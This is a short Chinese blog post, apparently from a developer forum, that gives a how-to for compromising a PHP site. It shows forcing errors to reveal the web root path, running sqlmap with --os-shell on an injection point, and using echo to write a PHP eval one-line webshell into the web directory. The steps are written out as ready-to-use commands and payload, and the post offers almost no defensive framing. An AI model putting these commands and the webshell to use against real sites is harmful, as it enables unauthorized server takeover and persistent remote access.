文章探讨了黑客如何通过抓包技术展示根路径、利用SQL注入执行os-shell命令以及构造一句话木马。具体案例展示了使用python的sqlmap工具和PHP代码实现这些攻击手段，强调了过滤条件在安全防护中的重要性。
1. 可通过抓包，输入不合法的字符让页面回显出根路径
如：c:\appserv\www\phptest2\db_func.php
我们需要猜测根目录是在 c:\appserv\www\phptest2\ 还是在 c:\appserv\www\
2. 检测注入点 ,并进行--os-shell
python sqlmap.py -r C:\Users\111.txt --os-shell
3.可通过 echo 来创建一句话木马 （根据过滤条件自行构造）
如：echo "<?php eval($_REQUEST[a])?>" > c:\appserv\www\phptest2\ 111.php
扫一扫
1179
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
